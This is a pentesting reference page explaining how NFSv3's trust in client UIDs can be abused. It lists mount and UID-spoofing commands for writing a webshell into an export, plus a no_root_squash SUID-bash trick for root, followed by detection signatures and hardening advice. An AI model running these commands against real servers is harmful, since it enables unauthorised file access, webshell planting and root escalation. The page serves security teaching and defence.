the_open_door
coffee
ESEN
← Back to index

NFS UID-mapping abuse

Full command arsenal in the cheatsheet

NFS (Network File System) shares directories over the network so a client can mount them as if they were a local disk. The key security detail is how it decides who can read or write each file: by default, NFSv3 trusts the numeric UID/GID the client claims to have. There's no user authentication; file access control boils down to comparing the client's UID with the file's owner on the server.

That enables a direct abuse when an export applies no restrictions:

Exploitation. Mount the shares (showmount -e <ip>, then mount -t nfs), check the owner UID of what you care about (ls -l shows the number if there's no local name), and create a local user with that UID:

showmount -e <ip>                          # list the exports
mkdir -p /mnt/nfs && mount -t nfs <ip>:/export /mnt/nfs -o nolock
ls -ln /mnt/nfs                            # see the owner UID (numeric)
useradd pwned && usermod pwned -u 2017     # create a local user with that UID
sudo -u pwned cp shell.php /mnt/nfs/       # now we write as the owner

If the export has no_root_squash, the shortcut is to drop a SUID root binary from the client (as root) and run it on the victim:

cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash   # on the client, as root
# on the victim:
/export/bash -p                             # -> euid=0

It works for both writing (dropping a webshell into an exported web root) and reading files with restrictive perms (600) owned by another user, by replicating their UID locally.

How to detect it. On the server, the signature is a client mounting the export and accessing files owned by a UID that isn't theirs: the rpc.mountd/nfsd logs record the mounting host, and an audit of the exports (exportfs -v) showing no_root_squash or ranges without all_squash is the config deviation. On the network, showmount -e and mounts from unauthorised IPs give away the recon. A new file (a webshell) appearing in an exported web root, owned by a service UID but created from an external client, closes the chain.

Defence. Limit exports to specific hosts, use all_squash with anonuid/anongid to map everything to a harmless user, export read-only where possible, and move to NFSv4 with Kerberos (sec=krb5), which actually authenticates instead of trusting the client's UID. Related to the webshell upload that usually follows and to X11 abuse.

Toolsshowmount

Machines where it's used